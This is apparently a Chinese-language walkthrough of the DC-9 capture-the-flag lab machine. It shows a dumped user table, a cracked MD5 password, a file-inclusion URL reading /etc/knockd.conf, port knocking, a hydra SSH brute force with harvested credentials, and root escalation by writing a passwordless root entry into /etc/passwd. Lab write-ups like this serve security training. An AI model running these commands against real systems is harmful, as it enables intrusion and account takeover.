| 12   | [email protected]     | 6549638203     | Geller     | 2019-05-01 17:32:00 | Ross      | Instructor                    |
| 10   | [email protected]     | 232131654      | Tribbiani  | 2019-05-01 17:32:00 | Joey      | Janitor                       |
| 8    | [email protected]    | 90239724378    | Rubble     | 2019-05-01 17:32:00 | Betty     | Junior Accounts               |
| 6    | [email protected]    | 24342654756    | Mouse      | 2019-05-01 17:32:00 | Jerry     | Stores                        |
| 4    | [email protected]   | 324643564      | Rubble     | 2019-05-01 17:32:00 | Barney    | Help Desk                     |
+------+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+

MD5解碼一下password的密碼

856f5de590ef37314e7c3bdf6f8a66dc

upload successful
密碼

transorbital1

嘗試登錄,登錄成功,發現這里提示File does not exist,估計是包含了某個檔案,嘗試檔案包含,發現確實存在檔案包含
upload successful
upload successful
然后看來大佬的wp,發現一個沒了解的地方

http://192.168.124.153/welcome.php?file=../../../../../../../../../etc/knockd.conf

upload successful
upload successful
也就是說黑客進行直接掃描埠掃描不出來,只有進行固定knockd的訪問才能打開
查看組態檔發現需要連續訪問的埠

[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn 

輪流敲

nmap 192.168.124.153 -p 7469
nmap 192.168.124.153 -p 8475
nmap 192.168.124.153 -p 9842

upload successful
將之前爆破的users的賬號密碼,提權出來進行ssh的爆破

cat UserDetails.csv | awk -F ',' '{print $4}' > username.txt

upload successful

cat UserDetails.csv | awk -F ',' '{print $NF}' > password.txt

upload successful

爆破ssh

hydra破解進行破解

hydra -L username.txt -P password.txt 192.168.124.153 ssh

成功爆破出三個用戶
upload successful
登錄janitor發現了隱藏檔案
upload successful
將其加入到password中再次進行爆破
成功多爆破出一個賬號密碼嘗試登錄

upload successful
看一下權限

sudo -l

upload successful
發現一個test檔案
upload successful
執行了一下發現執行不了
再上一層目錄發現了原始碼
代碼的意思是將第一個檔案的內容寫入第二個檔案中
所以我們可以創建一個檔案寫入root權限的資訊,然后用test將其寫入到/etc/passwd中

echo "admin:*:0:0:::/bin/bash" >> /tmp/passwd

upload successful
然后利用test將/tmp/passwd的內容寫入到/etc/passwd中

sudo ./test /tmp/passwd /etc/passwd
fredf@dc-9:/opt/devstuff/dist/test$ su admin
root@dc-9:/opt/devstuff/dist/test# whoami
root
root@dc-9:~# ls
theflag.txt
root@dc-9:~# cat theflag.txt 


███╗   ██╗██╗ ██████╗███████╗    ██╗    ██╗ ██████╗ ██████╗ ██╗  ██╗██╗██╗██╗
████╗  ██║██║██╔════╝██╔════╝    ██║    ██║██╔═══██╗██╔══██╗██║ ██╔╝██║██║██║
██╔██╗ ██║██║██║     █████╗      ██║ █╗ ██║██║   ██║██████╔╝█████╔╝ ██║██║██║
██║╚██╗██║██║██║     ██╔══╝      ██║███╗██║██║   ██║██╔══██╗██╔═██╗ ╚═╝╚═╝╚═╝
██║ ╚████║██║╚██████╗███████╗    ╚███╔███╔╝╚██████╔╝██║  ██║██║  ██╗██╗██╗██╗
╚═╝  ╚═══╝╚═╝ ╚═════╝╚══════╝     ╚══╝╚══╝  ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝╚═╝
                                                                             
Congratulations - you have done well to get to this point.

Hope you enjoyed DC-9.  Just wanted to send out a big thanks to all those
who have taken the time to complete the various DC challenges.

I also want to send out a big thank you to the various members of @m0tl3ycr3w .

They are an inspirational bunch of fellows.

Sure, they might smell a bit, but...just kidding.  :-)

Sadly, all things must come to an end, and this will be the last ever
challenge in the DC series.

So long, and thanks for all the fish.

參考文章

https://www.cnblogs.com/yurang/p/13709536.html

說明

最后歡迎訪問我的個人博客:https://lnng.top/
說明:本文僅限技術研究與討論,嚴禁用于非法用途,否則產生的一切后果自行承擔

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/227711.html

標籤:其他

上一篇:Elasticsearch必知必會的干貨知識一:ES索引檔案的CRUD

下一篇:zabbix的搭建及操作(4)實作郵件,釘釘,微信報警

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more